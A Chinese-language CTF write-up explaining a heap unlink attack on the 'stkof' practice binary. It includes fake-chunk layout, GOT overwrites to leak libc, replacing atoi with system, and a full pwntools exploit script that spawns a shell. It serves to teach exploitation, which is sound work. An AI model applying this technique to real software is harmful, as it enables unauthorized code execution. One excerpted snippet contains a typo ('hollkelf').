Share this post on:

unlink及详细题解链接

检查

image-20221014223047509

程序逻辑

image-20221014223110859

一个经典的菜单选择,逐一分析各选项

alloc

image-20221014223327606

这里新学会了一种常见的情况,将创建的堆指针储存于一个数组指针中便于统一管理

同时有这种管理堆指针的指针数组存在时,可考虑unlink

edit

image-20221014223902017

既然存在edit功能,那一般就能实现任意地址写了,分析程序发现,这里对堆内容的写入虽然规定了大小,但大小可以设置为很大很大,那么就可以造成堆溢出

delete

image-20221014224125802

说到delete函数一般就会下意识的想到UAF了,可惜这里将指针数组中的内容置空了并没有UAF,那么只能通过别的方法泄露地址了。

利用思路

堆溢出+堆指针数组+关闭了PIE那么就可以使用unlink了

  • 创建三个堆块
  • 由于没有清空缓冲区的问题,所以只有2,3号堆块物理相邻,则可以free堆块3,在堆块2构造fake_chunk来进行unlink
  • 设置fake_chunk的fd和bk为数组指针上的地址,使数组指针在unlink后能够指向自己
  • 覆盖指针数组上的地址,泄露puts函数地址,拿到libc_base并且寻找system和binsh的地址
  • 使用atoi_got修改为system的实际地址然后发送binsh

exp分析

一些功能的自动化函数

def alloc(size):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil('OK\n')
def edit(idx, size, content):
    p.sendline(b'2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')
def free(idx):
    p.sendline(b'3')
    p.sendline(str(idx))

unlink

def exp():
    alloc(0x100)
    alloc(0x30)
    alloc(0x80)

先创建三个堆块,由于没有清空缓存区,所以三个创建的堆块并不是连在一起的

image-20221015101825175

上图可知堆块1被一个大小为0x410的堆块隔开了,而堆块2和堆块3是物理相邻的

payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head - 0x8) #fd
payload += p64(head) #bk
payload += p64(0x20) #next_prev
payload += b'A'*0x8 #next_size
payload += p64(0x30) #以实际堆大小为准
payload += p64(0x90) 
edit(2, len(payload), payload)
free(3)

总结一下unlink时伪造堆块各部分如何填充:

  • prev_size (x)

  • size (填充伪造的 fake_chunk 的size)

  • fd (填充具有 bk 指针(低地址)能指向当前fake_chunk的 prev_size 的chunk)

  • bk (填充具有 fd 指针(高地址)能指向当前fake_chunk的 prev_size 的chunk)

    一般fd和bk的设置可以找存块指针的指针数组

  • next_prev (next_prev == size)

  • next_size (x)

这里我们的目标是在堆块2伪造一个chunk,释放堆块3使其合并达到unlink

伪造之后堆溢出的0x10字节填充的0x30是堆块2原本的大小,0x90是设置的堆块3的大小,防止free后进入fastbin

image-20221015102532643

如上图可以看到free之后数组指针已经变成了一个回环,指向了自己,那么就可以向0x602138即数组的[2]号元素的位置写入数据重新对数组进行布局

泄露地址

payload = b'A'*0x8 #s[-1]
payload += p64(elf.got['free']) #s[0]
payload += p64(elf.got['puts']) #s[1]
payload += p64(elf.got['atoi']) #s[2]
edit(2, len(payload), payload)
payload = p64(elf.plt['puts'])
edit(0, len(payload), payload)
free(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('puts addr: ' + hex(puts_addr))

看下面的精简代码:

payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
.
.
.
payload = p64(hollkelf.plt['puts'])
edit(0, len(payload), payload)
free(1)

这里有个很基础的点回顾一下:

通过将free的got表地址填上去(这里的填充位于指针数组0号位置),然后再填充puts的got表地址(这里的填充位于指针数组1号位置),之后再用修改功能将0号位置指针的内容修改为puts的plt地址即变成了:

*free_got = puts_plt

然后再free(1),由于这时候的free函数的实际地址已经被修改成立puts_plt,所以free会执行puts的效果,输出1号指针所指向的内容即puts_got所指向的内容(puts_plt),这样就泄露出了puts的实际地址

执行system

libc_base = puts_addr - libc.symbols['puts']
log.success('libc_base addr: ' + hex(libc_base))
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
system_addr = libc_base + libc.symbols['system']
payload = p64(system_addr)
edit(2, len(payload), payload)
p.send(p64(binsh_addr))
p.interactive()

这里没什么好说的了,常规流程

完整exp

from os import unlink
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./stkof')
gdb.attach(p)
elf = ELF('./stkof')
libc = ELF('./libc-2.23_sym.so')

head = 0x602140

def alloc(size):
    p.sendline(b'1')
    p.sendline(str(size))
    p.recvuntil('OK\n')

def edit(idx, size, content):
    p.sendline(b'2')
    p.sendline(str(idx))
    p.sendline(str(size))
    p.send(content)
    p.recvuntil('OK\n')

def free(idx):
    p.sendline(b'3')
    p.sendline(str(idx))

def exp():
    alloc(0x100)
    alloc(0x30)
    alloc(0x80)

    # unlink
    payload = p64(0) #prev_size
    payload += p64(0x20) #size
    payload += p64(head - 0x8) #fd
    payload += p64(head) #bk
    payload += p64(0x20) #next_prev
    payload += b'A'*0x8 #next_size
    payload += p64(0x30) #以实际堆大小为准
    payload += p64(0x90) 
    edit(2, len(payload), payload)
    free(3)

    # 泄露地址
    payload = b'A'*0x8
    payload += p64(elf.got['free'])
    payload += p64(elf.got['puts'])
    payload += p64(elf.got['atoi'])
    edit(2, len(payload), payload)
    payload = p64(elf.plt['puts'])
    edit(0, len(payload), payload)
    free(1)
    puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    log.success('puts addr: ' + hex(puts_addr))

    libc_base = puts_addr - libc.symbols['puts']
    log.success('libc_base addr: ' + hex(libc_base))
    binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
    system_addr = libc_base + libc.symbols['system']
    payload = p64(system_addr)
    edit(2, len(payload), payload)
    p.send(p64(binsh_addr))
    p.interactive()

if __name__ == "__main__":
    exp()
Share this post on:

Leave a Comment

您的电子邮箱地址不会被公开。 必填项已用 * 标注